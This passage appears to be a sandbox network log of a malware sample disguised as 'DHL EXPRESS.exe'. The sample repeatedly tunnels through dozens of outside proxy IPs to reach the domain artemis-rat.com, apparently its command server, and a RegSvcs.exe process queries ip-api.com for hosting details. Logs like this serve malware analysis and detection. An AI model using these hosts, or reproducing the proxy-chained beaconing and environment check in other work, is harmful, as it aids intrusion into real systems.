Mar 11, 2024 18:37:37.581557989 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:49.581468105 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:13.597076893 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:39:01.690733910 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2069	192.168.2.8	54983	138.68.60.8	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:37:01.240205050 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:01.531924963 CET	28	IN	HTTP/1.1 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2070	192.168.2.8	54849	51.161.131.84	19987	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:37:01.270055056 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:02.009188890 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:02.800358057 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2071	192.168.2.8	55021	83.136.219.140	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:37:01.272375107 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:04.269105911 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:07.363038063 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:08.555844069 CET	536	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 17:37:08 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 613 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 5b 6e 6f 20 61 64 64 72 65 73 73 20 67 69 76 65 6e 5d 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at [no address given] to inform them of
Mar 11, 2024 18:37:08.555896997 CET	269	IN	Data Raw: 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f Data Ascii: the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.52 (Ubuntu) Server at artemis-rat.com Port 443

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2072	192.168.2.8	55319	202.124.46.97	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:37:01.316359997 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2073	192.168.2.8	50995	201.221.134.74	5678	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:37:01.340404987 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2074	192.168.2.8	50946	103.47.175.161	83	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:37:01.355642080 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:04.165102005 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2075	192.168.2.8	50599	41.77.188.131	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:37:01.355844975 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:04.409523964 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:07.410003901 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:13.409770966 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:17.882165909 CET	536	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 17:37:17 GMT Server: Apache X-Frame-Options: SAMEORIGIN Strict-Transport-Security: max-age=63072000; includeSubDomains; preload X-Content-Type-Options: nosniff Content-Length: 597 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was una
Mar 11, 2024 18:37:17.964660883 CET	372	IN	Data Raw: 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 Data Ascii: ble to completeyour request.</p><p>Please contact the server administrator at [no address given] to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this erro

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2076	192.168.2.8	54943	187.73.188.35	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:37:01.396996021 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:04.282289028 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2077	192.168.2.8	55321	192.252.216.81	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:37:01.404046059 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2078	192.168.2.8	54898	95.70.220.173	4153	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:37:01.414943933 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2079	192.168.2.8	55253	75.89.101.63	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:37:01.423672915 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2080	192.168.2.8	55026	161.97.173.42	53948	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:37:01.515842915 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:04.564469099 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:07.690464020 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:13.800309896 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:25.898873091 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:37.911084890 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:49.909454107 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:13.909454107 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:39:01.956358910 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2081	192.168.2.8	51113	138.68.60.8	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:37:01.520968914 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:01.756258965 CET	28	IN	HTTP/1.1 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2082	192.168.2.8	51111	109.201.233.219	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:37:01.612138033 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:04.863248110 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2083	192.168.2.8	55320	169.255.198.8	5678	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:37:01.621025085 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2084	192.168.2.8	55135	166.62.38.100	2453	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:37:01.631762981 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:04.706624985 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:07.800240040 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:13.800332069 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:25.898930073 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:37.911077976 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:49.909446955 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:13.911602020 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:39:01.956927061 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2085	192.168.2.8	51177	162.214.225.223	43265	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:37:01.638885021 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:04.753565073 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:07.769053936 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2086	192.168.2.8	55326	14.56.98.15	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:37:01.709757090 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:02.158632994 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2087	192.168.2.8	51065	103.114.96.125	8291	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:37:01.724822044 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2088	192.168.2.8	55035	51.68.164.77	16892	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:37:01.763667107 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:04.894203901 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:07.980137110 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:14.011991024 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2089	192.168.2.8	51173	95.165.163.188	60103	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:37:01.806596041 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:04.863267899 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:07.956773996 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:13.957050085 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:25.956554890 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:37.971923113 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2090	192.168.2.8	55327	82.113.157.122	31280	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:37:01.818062067 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2091	192.168.2.8	55339	208.95.112.1	80	42552	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:37:03.242285013 CET	80	OUT	GET /line/?fields=hosting HTTP/1.1 Host: ip-api.com Connection: Keep-Alive
